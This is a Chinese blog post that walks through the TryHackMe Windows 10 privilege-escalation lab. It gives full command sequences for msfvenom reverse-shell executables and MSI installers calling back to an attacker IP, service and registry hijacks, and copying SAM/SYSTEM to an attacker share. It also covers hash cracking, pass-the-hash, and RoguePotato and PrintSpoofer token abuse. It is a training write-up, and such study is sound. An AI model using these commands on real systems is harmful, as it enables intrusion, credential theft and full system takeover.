windows提权总结

本篇文章主要来源于Try Hack Me靶场,里面总结了很多windows提权姿势。下面简单做下记录。

https://tryhackme.com/room/ windows10privesc

另外,github上有个讲Linux/Windows权限提升的,里面有VM、Video和PDF,有空可以学习一下。

https://github.com/sagishahar/lpeworkshop

1、在Kali Linux中连接windows VM目标机。目标机开启了3389,可以远程登录。账户:user,密码:password321。

xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.53.14

2、生成反向shell的可执行文件reverse.exe,LPORT改成Kali Linux的IP。将其拷贝到攻击windows受攻击机。

msfvenom-p windows/x64/shell_reverse_tcp LHOST=10.10.10.10LPORT=4444 -f exe -oreverse.exe

在kali Linux本机上开启一个httpserver。

注意:python3已经改名为http.server

python3 -m http.server 80

python -m SimpleHTTPServer 80 //旧有写法

nc -nvlp 4444

windows上执行C:\PrivEsc\reverse.exe,发现已连接

3、服务利用:不安全的服务权限

用 accesschk.exe 检查user帐户对daclsvc服务的权限,发现user帐户有权更改服务配置(SERVICE_CHANGE_CONFIG)。

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

查询该服务并注意它以 SYSTEM 权限运行(SERVICE_START_NAME)

sc qc daclsvc

修改服务配置并将 BINARY_PATH_NAME (binpath) 设置为reverse.exe

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

在 Kali 上启动监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start daclsvc

4、服务利用:不带引号的服务路径

该漏洞利用了windows文件路径解析的特性。

查询unquotedsvc 服务,注意它以 SYSTEM 权限(SERVICE_START_NAME) 运行,BINARY_PATH_NAME 路径包含空格并且没有用引号引起来。

sc qc unquotedsvc

运行accesschk.exe,注意允许BUILTIN\Users组写入C:\Program Files\Unquoted Path Service\目录

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

将reverse.exe复制到此目录并将其重命名为Common.exe

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

问题:不清楚为什么,拷贝完文件启动服务就能让reverse.exe执行,unquotedsvc服务指向的exe并没有改?

解答:

https://blog.csdn.net/weixin_44032232/article/details/109073666

假设有个服务的可执行路径为

c:\program files (x86)\grasssoft\macro expert\MacroService.exe,且不带引号

服务会按照以下顺序依次执行。如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

c:\program.exe

c:\programfiles.exe

c:\programfiles (x86)\grasssoft\macro.exe

c:\program files (x86)\grasssoft\macro expert\MacroService.exe

因此,在这个例子中,

C:\Program Files\Unquoted Path Service\Common.exe要先于C:\Program

Files\Unquoted Path Service\Common Files\unquotedpathservice.exe。


在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start unquotedsvc

5、服务利用:弱注册表权限

查询regsvc服务,注意它以系统权限(SERVICE_START_NAME) 运行

sc qc regsvc

运行accesschk.exe,regsvc 服务的注册表项可由“NT  AUTHORITY\INTERACTIVE”组(基本上是所有登录用户)写入

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

覆盖 ImagePath 注册表项以指向reverse.exe

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start regsvc

6、服务利用:不安全的服务执行程序

查询filepermsvc服务,注意它以SYSTEM权限(SERVICE_START_NAME) 运行

sc qc filepermsvc

使用 accesschk.exe,服务的二进制文件(BINARY_PATH_NAME) 文件对每个人都是可写的

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions

Service\filepermservice.exe"

复制reverse.exe并用它替换filepermservice.exe

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start filepermsvc

7、注册表:autorun

查询 AutoRun 可执行文件的注册表

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

运行accesschk.exe,其中一个 AutoRun 可执行文件对每个人都是可写的

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

复制reverse.exe,用它覆盖 AutoRun 可执行文件

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

在 Kali 上启动一个侦听器,

nc -nvlp 4444

重新启动 Windows VM,然后在kali里运行

rdesktop  MACHINE_IP

:重新连接时,依赖于是谁登录的。如果是admin登录,则显示的反向shell为admin;如果是user登录,则显示反向shell为user。

8、注册表:弱AlwaysInstallElevated权限

AlwaysInstallElevated是一个Windows策略允许普通用户在使用MSI包安装软件时获得系统权限去操作。同时它在注册表里面也会有一个值,如果为1的话普通用户拥有和system一样的权限去安装.msi文件。

在注册表中查询 AlwaysInstallElevated 键,注意,这两个键都设置为1。

reg queryHKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

在 Kali 上,使用 msfvenom 生成反向 shell Windows Installer (reverse.msi)。 相应地更新 LHOST IP 地址

msfvenom-p windows/x64/shell_reverse_tcp LHOST=10.10.10.10LPORT=3333 -f msi -o reverse.msi

将 reverse.msi 文件传输到 Windows 上的 C:\PrivEsc 目录。

在 Kali 上启动一个侦听器

nc -nvlp 3333

windowsVM运行安装程序以触发以 SYSTEM 权限运行的反向shell

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

9、注册表:密码

出于某种原因,有时密码不会存储在注册表中。注:我的情况就是如此

可以在注册表中搜索包含单词password的键和值(耗时长,找到258个项目)

reg query HKLM /f password /t REG_SZ /s

想节省一些时间,请查询管理员自动登录凭据

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

注:运行这两条命令根本找不到管理员的密码

可以试试winPEASany.exe,可从github下载。

c:\PrivEsc>.\winPEASany.exe quiet filesinfo userinfo

此时,从上述结果可以看到admin的密码为password123

在 Kali 上,用winexe 命令生成以管理员权限运行的命令提示符(用admin账户及其密码)。运行whoami,发现用户为admin。

winexe -U 'admin%password123' //10.10.216.32 cmd.exe

10、密码:保存的凭据

列出所有已保存的凭据,注意,已保存admin用户的凭据。

cmdkey /list

在 Kali 上启动一个侦听器,并使用 runas 和管理员用户保存的凭据运行reverse.exe

runas /savecred /user:admin C:\PrivEsc\reverse.exe

11、密码:SAM

SAM 和 SYSTEM 文件可用于提取用户密码哈希值。此VM已将SAM 和 SYSTEM 文件的备份存储在C:\Windows\Repair\目录中

将 SAM 和 SYSTEM 文件传输到Kali VM(开启smbserver),将IP换成Kali VM的。

copy C:\Windows\Repair\SAM \\10.10.10.10\kali\

copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

:一般SAM和SYSTEM文件存储在C:\Windows\System32\config

在 Kali 上,克隆 creddump7(Kali 上的存储库已过时,不会为 Windows 10 正确转储哈希!)并使用它从 SAM 和 SYSTEM 文件中转储哈希

git clonehttps://github.com/Tib3rius/creddump7

pip3install pycrypto

python3 creddump7/pwdump.py SYSTEM SAM

首先将admin的NTLM哈希值拷贝到文件中,譬如名为hash。

echo "a9fdfa038c4b75ebc76dc855dd74f0da" > hash

使用 hashcat 破解管理员 NTLM 哈希。得到admin的密码为password123

hashcat  -m 1000 hash /usr/share/wordlists/rockyou.txt

12、密码:传递哈希

既然可以使用哈希进行身份验证,为什么还要破解密码哈希?

将完整的管理员哈希与pth-winexe 一起使用,以生成一个以管理员身份运行的 shell,而无需破解其密码。注:完整哈希包括 LM 和 NTLM 哈希,以冒号分隔。

pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.44.238 cmd.exe

13、计划任务

查看C:\DevTools\CleanUp.ps1脚本内容,发现脚本似乎每分钟都以 SYSTEM 身份运行

type C:\DevTools\CleanUp.ps1

用 accesschk.exe去检查user对CleanUp.ps1的权限可以看到有个FILE_WRITE_DATA可写入模式

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

在 Kali 上启动一个侦听器,然后将一行附加到C:\DevTools\CleanUp.ps1

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

等待计划任务运行,可以得到以 SYSTEM 身份触发反向 shell。

14、不安全的GUI程序

查看AdminPaint快捷方式的内容为

C:\Windows\System32\runas.exe /user:admin /savecred %windir%\system32\mspaint.exe

双击桌面上的“AdminPaint”快捷方式。运行后,打开命令提示符并注意 Paint 正在以管理员权限运行

tasklist /V | findstr mspaint.exe

在“画图”中,单击“文件”,然后单击“打开”。在打开的文件对话框中,点击导航输入并粘贴:file://c:/windows/system32/cmd.exe,按Enter

生成以admin权限运行的命令提示符

15、StartUp

用accesschk.exe检查权限,发现BUILTIN\Users 组可以将文件写入 StartUp 目录

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start

Menu\Programs\StartUp"

查看C:\PrivEsc\CreateShortcut.vbs脚本,该脚本在 StartUp 目录中为reverse.exe创建一个新的快捷方式

使用cscript运行CreateShortcut.vbs脚本

cscript C:\PrivEsc\CreateShortcut.vbs

在 Kali 上启动一个监听器,然后使用RDP模拟admin登录

xfreerdp /u:admin /p:password123 /cert:ignore /v:10.10.44.238

问题:为什么远程登录模拟admin登录,这时启动文件会变成以system权限运行反弹shell而不是以admin运行的反弹shell?

16、令牌窃取

目标如果开启SeImpersonatePrivilege模拟客户端验证,即可使用土豆系列工具直接从user权限跨越到system权限。

在 Kali 上设置一个 socat 重定向器,将 Kali 135 端口转发到 Windows 上的 9999 端口

sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.44.238:9999

在kali监听端口4444。

nc -nvlp 4444

通过以admin身份登录 RDP 模拟获取服务帐户shell ,以管理员身份运行命令提示符,并使用 PSExec64.exe 触发“本地服务”帐户

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

在反弹shell中可以看到运行账户为local service

在反弹shell中执行whoami /priv,显示如下权限。其中SeImpersonatePrivilege为Enabled。

为了清晰起见,重新生成一个连接至3333端口的反弹shell:reverse3333.exe,并上传到windows VM中。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=3333 -f exe -o

reverse3333.exe

此时在kali中监听端口3333。

nc -nvlp 3333

在触发local service的反向 shell 中,运行 RoguePotato 漏洞以触发第二个以SYSTEM 权限运行的反向shell

C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse3333.exe" -l 9999

可以从第二个反弹shell中看到权限已变成SYSTEM

且此时的权限中SeAssignPrimaryTokenPrivilege已经改成Enabled。

whoami /priv

17、令牌窃取:PrintSpoofer

此提权只需要PrintSpoofer,可用于提升 Windows Server 2016、Server 2019 和 Windows 10 上的服务用户权限的 PrintSpoofer 漏洞。

可以到github上下载

https://github.com/dievus/printspoofer

要提升权限,服务帐户必须具有 SeImpersonate 权限

在 Kali 上启动一个端口4444的监听。

nc -nvlp 4444

以admin身份登录 RDP,以管理员身份运行命令提示符,使用 PSExec64.exe 触发“本地服务”帐户

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

在 Kali 上启动另一个端口3333的监听

nc -nvlp 3333

在触发的“本地服务”反向 shell 中,运行 PrintSpoofer 漏洞以触发第二个以 SYSTEM 权限运行的反向shell

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse3333.exe" -i

18、提权脚本

Windows VM中的 C:\PrivEsc 目录中包含了四个工具:

winPEASany.exe

Seatbelt.exe

PowerUp.ps1

SharpUp.exe

可以分别试用上述四种工具,使用不同的选项运行

Seatbelt是一个C#项目,可以用来对主机进行安全检查。

Seatbelt.exe all

或者,指定检查项目,例如

Seatbelt.exe RegistryAutoRuns

Seatbelt.exe patches

powerUp 是 Privesc 模块下的脚本,拥有众多用来寻找目标主机 Windows 服务漏洞进行提权的实用脚本。先执行powershell,然后Import-Module .\PowerUp.ps1就能使用了。运行Invoke-AllChecks函数开始检查

SharpUp 是 PowerUp 利用 C# 实现权限提升检查的开始。 目前,只进行了最常见的检查,尚未实施武器化功能。

SharpUp.exe audit

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,240评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,328评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,182评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,121评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,135评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,093评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,013评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,854评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,295评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,513评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,678评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,398评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,989评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,636评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,801评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,657评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,558评论 2 352

推荐阅读更多精彩内容